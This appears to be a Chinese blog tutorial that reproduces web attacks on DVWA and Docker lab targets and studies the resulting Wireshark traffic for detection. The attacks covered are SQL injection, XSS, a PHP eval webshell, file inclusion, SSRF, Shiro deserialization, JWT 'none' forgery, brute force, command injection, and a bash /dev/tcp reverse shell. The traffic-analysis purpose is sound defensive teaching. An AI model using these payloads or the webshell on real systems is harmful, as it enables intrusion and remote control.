漏洞复现与流量分析

漏洞复现与流量分析



sql注入

以DVWA靶场为例
在这里插入图片描述
开启Wireshark抓包

在这里插入图片描述

这里限制一下显示的内容为抓取和IP地址为10.4.7.151的http包
ip.dst == 10.4.7.151 && http这个地址是靶场服务器的地址
在这里插入图片描述

尝试进行sql注入
1' and 1=2 union select 1,version() #通过联合查询来查找数据库的版本信息
1' and 1=2 union select 1,database() #查看数据库名

在这里插入图片描述

爆出来数据库的版本信息,去Wireshark查看数据包

在这里插入图片描述

点击数据包查看信息,可以看到刚刚输入的信息.id=1%27+and+1%3D2+union+select+1%2Cversion%28%29+%23

在这里插入图片描述

url解码

在这里插入图片描述

分析

sql注入类型的数据包可以通过查看http请求包中是否有关键字来判断比如:union,version,database,updatexml,extractvalue,其中特殊字符如'()等都会被url编码,空格变成+

xss

还是DVWA靶场,开启Wireshark抓包,限制显示的数据包
<script>alert('maple')</script>页面弹窗

在这里插入图片描述在这里插入图片描述

去查看数据包

在这里插入图片描述

能找到刚刚输入的信息,但是被url编码了
%3Cscript%3Ealert%28%27maple%27%29%3C%2Fscript%3E

在这里插入图片描述

分析

和sql注入大体一样,查看关键字是否有<script></script>,alert()等,特殊字符都会被url编码

文件上传

先写一个一句话木马

<?php
@eval($_REQUEST[maple]);
phpinfo();
?>

在这里插入图片描述

上传文件后爆出一个地址,我们可以去查看一下数据包

在这里插入图片描述

分析

我们可以通过数据包查看上传文件的后缀来判断文件类型,还可以通过文件内容来判断是否为恶意文件

文件包含

在这里插入图片描述

操作思路大体相同,这里有三个选项,随便点开一个

在这里插入图片描述

很简单粗暴的文件路径,我们使用../来返回上级目录,查看目标主机的phpinfo文件

在这里插入图片描述

查看数据包

在这里插入图片描述

分析

通常来讲文件包含只允许访问规定的文件,能访问到别的文件就说明存在漏洞,我们可以通过流量包访问的文件是否为规定文件来判断

文件读取

这里是从kali拉取镜像获取的,详情请看任意文件读取

在这里插入图片描述

分析

文件读取和文件包含的流量包大体相同,都是通过访问文件路径,方法通用,区别在于文件读取不能执行文件

ssrf

ssrf靶场源码

<?php
//	ssrf_curl.php

if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName)){
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";
}
?>

在这里插入图片描述

进入靶场后发现是这样的,我们按照提示输入127.0.0.1

在这里插入图片描述

发现居然跳到了目录

在这里插入图片描述

两个目录经过对比有点差异,查看一下抓到的包

在这里插入图片描述

分析

这个流量包说访问的地址为127.0.0.1,但是是以目标机的身份访问的,可以理解为本机伪装成目标机对服务器发起请求,查看目标机的本地地址,可以通过协议、请求的资源地址来判断是否为攻击

shiro反序列化

搭建环境

//1.开启docker服务
systemctl status docker
//2.拉取镜像
sudo docker pull medicean/vulapps:s_shiro_1
//3.启动靶场
sudo docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
//因为是使用的kali用户,所以需要使用sudo

在这里插入图片描述

复现

进入登录页面

在这里插入图片描述

随便输入一个账号密码,bp抓包

在这里插入图片描述

响应包中出现Set-Cookie: rememberMe=deleteMe;就可以肯定存在shiro反序列化漏洞,接下来上工具

在这里插入图片描述

1.目标为登录界面的url地址
2.爆破密钥
3.爆破利用链及回显

在这里插入图片描述

使用命令执行模块,随便输入命令,抓取数据包查看
筛选地址为kali的IP地址
·ip.dst == 10.4.7.143·

在这里插入图片描述

查看http包

在这里插入图片描述

分析

shiro反序列化漏洞的数据包中回显包会有rememberMe=deleteMe,也可以通过判断http请求的流量包中的cookie值,正常的cookie值不会这么长

JWT

在这里插入图片描述

以第七关为例,具体步骤看越权漏洞与JWT的利用

在这里插入图片描述

查看抓取的流量包

在这里插入图片描述

将这个值解码

在这里插入图片描述

分析

JWT是由三部分组成,头部、载荷、签名,其中头部被改为了none,签名被删除了,由此可以判断为一次攻击

暴力破解

在这里插入图片描述

使用DVWA靶场的暴力破解模块,随便输入一个账户密码,然后使用bp抓包爆破、Wireshark抓包
在这里插入图片描述
在这里插入图片描述

分析

暴力破解可以看到有好多http的请求包,一个用户大量的登录请求信息,很容易就可以判断出是一次密码爆破

命令执行

在这里插入图片描述

输入| whoami抓包

在这里插入图片描述

查看抓到的包

在这里插入图片描述

分析

命令执行的流量包中可以看到输入的内容,通过输入的内容就可以判断是否为一次攻击

反弹shell

准备一台kali一台centos
kali开启ncnc -lvvp7495
centos连接bash -c 'bash -i >& /dev/tcp/10.9.47.152/7495 0>&1'

在这里插入图片描述

连接成功后输入一些命令,查看Wireshark抓到的包

在这里插入图片描述在这里插入图片描述

分析

抓到的包大多为TCP协议传输,可以直接看到输入的命令,其中包含命令的流量包为[PSH,ACK]可以通过这种方式查看是否被攻击

  • 14
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值